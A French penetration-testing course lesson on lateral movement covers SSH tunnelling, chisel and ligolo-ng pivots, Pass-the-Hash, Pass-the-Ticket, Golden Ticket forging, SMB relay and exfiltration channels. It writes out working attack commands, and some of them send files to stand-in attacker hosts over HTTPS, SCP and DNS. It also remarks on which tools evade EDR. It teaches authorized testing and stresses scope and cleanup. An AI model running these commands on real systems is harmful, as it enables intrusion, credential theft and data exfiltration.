Mouvements latéraux — Notions
Vous avez une machine. Elle est intéressante, mais elle n'est pas le trésor. Le trésor est plus profond : le contrôleur de domaine, la base clients, la console AWS. Cette semaine, on saute — de machine en machine, discrètement, pour arriver à la valeur.
Les techniques de cette semaine sont détectables. Sur un pentest client réel, elles doivent être explicitement autorisées par le RoE. Un mouvement latéral non déclaré = un incident, pas un pentest.
Ce que vous saurez faire après cette leçon
- Distinguer pivot, tunnel, relay, impersonation — quatre notions différentes.
- Établir des tunnels SSH dans les trois directions (local, remote, dynamic).
- Utiliser
chisel,ligolo-ng,sshuttle— quand chaque outil est meilleur. - Faire du Pass-the-Hash, du Pass-the-Ticket, du PsExec proprement.
- Exécuter un SMB relay avec
ntlmrelayx. - Exfiltrer des données via SSH, DNS, HTTPS — en respectant le RoE (fausses données).
- Nettoyer derrière soi.
1. Le vocabulaire — ne confondez plus
| Notion | Ce que ça veut dire |
|---|---|
| Pivot | Utiliser une machine compromise comme relais réseau vers d'autres. |
| Tunnel | Un canal chiffré qui transporte du trafic à travers le pivot. |
| Relay | Retransmettre une authentification (NTLM, Kerberos) d'une victime vers une autre. |
| Impersonation | Prendre l'identité d'un utilisateur sans son mot de passe (token, ticket). |
| Lateral movement | Le fait de compromettre une nouvelle machine à partir de la première. |
| Exfiltration | Sortir des données de l'environnement de la victime. |
Ces cinq mots recouvrent des choses différentes. Un pentester qui les mélange rate ses phrases et rate ses actions.
2. Les tunnels SSH — la base de tout
Trois formes. Apprenez les trois par cœur.
2.1. Local port forward (-L)
« Chez moi, un port local qui vaut un port distant. »
ssh -L 8080:10.1.1.20:80 pivot-user@pivot-host
Vous, sur localhost:8080, atteignez le port 80 de 10.1.1.20 — même si 10.1.1.20 n'est joignable que depuis pivot-host.
Usage type : accéder à une interface web interne (10.1.1.20:80 = un panneau admin interne).
2.2. Dynamic port forward (-D) — SOCKS5
« Chez moi, un proxy SOCKS. Tout ce que j'y envoie sort par le pivot. »
ssh -D 1080 pivot-user@pivot-host
Puis dans /etc/proxychains4.conf :
socks5 127.0.0.1 1080
Vos outils :
proxychains -q nmap -sT -Pn 10.1.1.0/24
proxychains -q curl http://10.1.1.20/admin
Sortent depuis le pivot. Le tunnel SOCKS + proxychains est le pattern standard.
2.3. Remote port forward (-R)
« Chez la cible, un port qui remonte vers chez moi. »
ssh -R 4444:localhost:22 attaquant@vps-attaquant
Utile quand vous êtes derrière NAT et voulez que la cible se connecte à vous. Classique en red team avec un VPS attaquant.
2.4. Le drapeau -fN — tunnel sans shell
ssh -fN -D 1080 pivot-user@pivot-host
-f: passe en arrière-plan.-N: n'exécute pas de commande, juste le port forward.
Le tunnel tient, vous rendez la main.
3. chisel — quand SSH n'est pas disponible
Sur une cible Windows sans SSH, ou pour tunnel HTTPS-through-firewall :
# Serveur, sur Kali
chisel server -p 8000 --reverse
# Client, sur la cible
chisel client 10.10.10.5:8000 R:socks
La cible ouvre un tunnel sortant (HTTPS-like) vers votre Kali, qui expose un SOCKS local. Fonctionne à travers la plupart des firewalls sortants.
Version chiffrée avec authentification :
chisel server -p 8000 --reverse --auth pentest:mot-de-passe
chisel client --auth pentest:mot-de-passe https://pivot.attaquant.com R:1080:socks
4. ligolo-ng — le pivot moderne
ligolo-ng est la référence en 2026 pour le pivoting. Il crée une interface réseau virtuelle côté attaquant qui route directement vers le réseau interne compromis — pas de proxychains, tous vos outils fonctionnent nativement.
Côté proxy (Kali) :
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
Sur la cible :
./agent -connect 10.10.10.5:11601 -ignore-cert
Dans le proxy, session ouverte, on tape :
ligolo » session
[Choose session 1]
[Agent] » start
[Agent] » ifconfig
Puis, sur Kali :
sudo ip route add 192.168.100.0/24 dev ligolo
Tout nmap, curl, smbclient, impacket-* vers 192.168.100.0/24 passera transparent par la cible. Fini les proxychains.
5. sshuttle — le VPN pauvre
Sans installer d'agent sur la cible, avec juste un accès SSH :
sshuttle -r pivot-user@pivot-host 10.1.1.0/24
sshuttle monte un tunnel SSH + une règle iptables locale qui route 10.1.1.0/24 vers ce tunnel. Simple, léger, marche partout où SSH marche.
6. Pass-the-Hash (PtH) — Windows / SMB
Sur Windows, une authentification SMB n'a pas besoin du mot de passe en clair. Le hash NTLM suffit. Vous avez volé un hash au module 9 avec hashdump ? Utilisez-le tel quel :
nxc smb 10.10.10.42 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c
Ou avec Impacket :
impacket-psexec -hashes :8846f7eaee8fb117ad06bdd830b7586c administrator@10.10.10.42
impacket-psexec ouvre un shell SYSTEM en déposant un service temporaire sur la cible. Impacket a aussi :
impacket-wmiexec— via WMI (moins d'artefacts que psexec).impacket-smbexec— via SMB (compatible XP/2003).impacket-atexec— via tâches planifiées.
Chaque outil a une empreinte différente. Sur un EDR bien réglé, PsExec est vu, WMIexec passe encore souvent, atexec est le plus discret.
7. Pass-the-Ticket (PtT) — Kerberos
Le hash NTLM n'est plus utilisé partout. Kerberos est le standard AD. Un ticket TGT ou TGS suffit à s'authentifier.
Récupérer un ticket :
- Depuis Meterpreter,
sekurlsa::ticketsen Mimikatz. - Depuis Rubeus :
Rubeus.exe dump /nowrap.
Utiliser un ticket :
- Sous Windows :
Rubeus.exe ptt /ticket:<base64>puisdir \\dc\c$. - Sous Linux :
export KRB5CCNAME=<ticket.ccache>puisimpacket-secretsdump -k dc.acme.local.
Un ticket TGT permet de demander n'importe quel TGS pour n'importe quel service — soit tout le domaine.
8. Golden Ticket — la persistance ultime AD
Vous avez le hash de krbtgt (module 9 fin). Vous pouvez forger un TGT arbitraire — pour n'importe quel utilisateur, n'importe quel groupe, valide pendant 10 ans par défaut.
impacket-ticketer \
-nthash <hash-krbtgt> \
-domain-sid S-1-5-21-... \
-domain acme.local \
Administrator
Sortie : Administrator.ccache — un ticket qui vous fait passer pour l'admin du domaine.
Utilisation :
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k acme.local/administrator@dc.acme.local
Cadre éthique : forger un Golden Ticket en pentest est très intrusif. À faire uniquement dans un lab. En mission, seulement avec autorisation explicite et destruction du ticket en fin de mission (rotation krbtgt × 2 — la seule vraie remédiation).
9. SMB Relay avec ntlmrelayx
Une attaque magique. Vous ne cassez pas de hash — vous retransmettez une authentification.
Scénario :
- Un utilisateur se connecte à un partage SMB.
- Vous interceptez son challenge NTLM.
- Vous retransmettez ce challenge à un autre serveur (celui qui accepte SMB avec signing:false).
- Le second serveur vous ouvre une session sans mot de passe.
Deux outils :
responder — répond aux requêtes LLMNR/NBT-NS pour capturer :
sudo responder -I eth0 -w -v
ntlmrelayx (Impacket) — retransmet :
impacket-ntlmrelayx -tf targets.txt -smb2support --socks
targets.txt contient les IPs qui acceptent SMB sans signing. Quand une victime s'authentifie via Responder, ntlmrelayx relais vers une machine cible et ouvre un accès.
Condition : SMB signing désactivé sur les cibles (par défaut sur beaucoup de serveurs).
Signal fort dans le rapport : « Nous avons montré qu'un utilisateur qui clique sur un partage inexistant permet à un attaquant sur le LAN de compromettre le serveur de fichiers X sans jamais voir de mot de passe. »
10. Reconnaissance interne — discrète, s'il vous plaît
Une fois pivot ouvert, on scanne — mais différemment. Un nmap -T4 -p- de l'extérieur sur une plage publique passe. Sur un LAN d'entreprise, ça met à genoux des imprimantes, des systèmes SCADA, des vieux automates.
Règles :
-T2maximum en interne.- Liste de ports ciblée :
22, 80, 135, 139, 443, 445, 1433, 1521, 3306, 3389, 5985, 8080. - Éviter les scripts NSE agressifs (
--script vuln,--script intrusive). - Segmenter par sous-réseau : ne scannez pas 10 sous-réseaux en parallèle.
Outils utiles à cette phase :
nxc smb <plage> --gen-relay-list targets.txt— liste les machines avec SMB signing désactivé.nxc smb <plage> -u '' -p '' --shares— recense les partages accessibles anonymement.impacket-lookupsid <dc-ip>— RID cycling sur un domaine.
11. L'exfiltration — en pentest, on ne sort pas de vraies données
La règle : on prouve le canal, on ne sort pas les données réelles du client.
Ce qu'on fait :
- On crée un fichier factice :
PROOF_OF_EXFIL_2026-08-14.txt. - On le sort par le canal qu'on veut démontrer.
- On documente le canal, pas le contenu.
Trois canaux à connaître :
11.1. SSH / SCP
scp -P 443 fichier.txt attaquant@vps:/tmp/
Souvent bloqué sur les entreprises modernes (SSH sortant filtré).
11.2. HTTPS
curl -X POST -F "file=@fichier.txt" https://vps-attaquant/receive
Rarement bloqué (le trafic HTTPS sortant est autorisé par défaut).
11.3. DNS
Le canal ultime. Tout réseau autorise le DNS sortant.
# Sur le VPS attaquant, on lance un serveur DNS custom.
# La cible envoie ses données encodées dans des sous-domaines :
for chunk in $(base64 fichier.txt | fold -w 60); do
dig +short $chunk.exfil.attaquant.com
done
Le serveur DNS reconstruit fichier.txt à partir des requêtes.
Outil pratique : DNScat2 — tunnel bidirectionnel sur DNS.
Vitesse : 1-5 Ko/s. Lent, mais imperceptible dans les logs réseau.
12. Nettoyer derrière soi — non négociable
À la fin d'une mission, l'environnement doit être exactement dans l'état où vous l'avez trouvé (sauf le rapport, bien sûr).
Checklist :
- Comptes créés : supprimés (avec confirmation du client).
- Services déposés : arrêtés et désinstallés.
- Clés SSH ajoutées : retirées de
authorized_keys. - Persistances Meterpreter : listées et neutralisées.
- Golden Tickets : détruits ; recommander la rotation
krbtgt× 2 au client. - Fichiers déposés : listés dans le rapport, plan de suppression.
- Backdoors : aucune ne doit rester. Aucune. Un pentester qui laisse un backdoor est un pentester licencié.
Un rapport de pentest sérieux liste, en annexe, chaque artefact déposé et chaque action de nettoyage.
13. Ce qu'il faut retenir
- Pivot, tunnel, relay, impersonation — quatre choses distinctes.
- SSH
-L / -D / -Rpar cœur. ligolo-ngest le meilleur outil de pivoting en 2026.- Pass-the-Hash et Pass-the-Ticket rendent le cassage souvent inutile.
- SMB Relay avec
ntlmrelayx= attaque déterminante en 2026. - Reconnaissance interne :
-T2, ports ciblés. - Exfiltration : fausses données, canal démontré (DNS ultime).
- Nettoyer derrière soi. Toujours.
Prochaine leçon : on rejoue tout dans le lab — pivot ligolo, pass-the-hash sur trois machines, exfiltration DNS avec fichier de démonstration.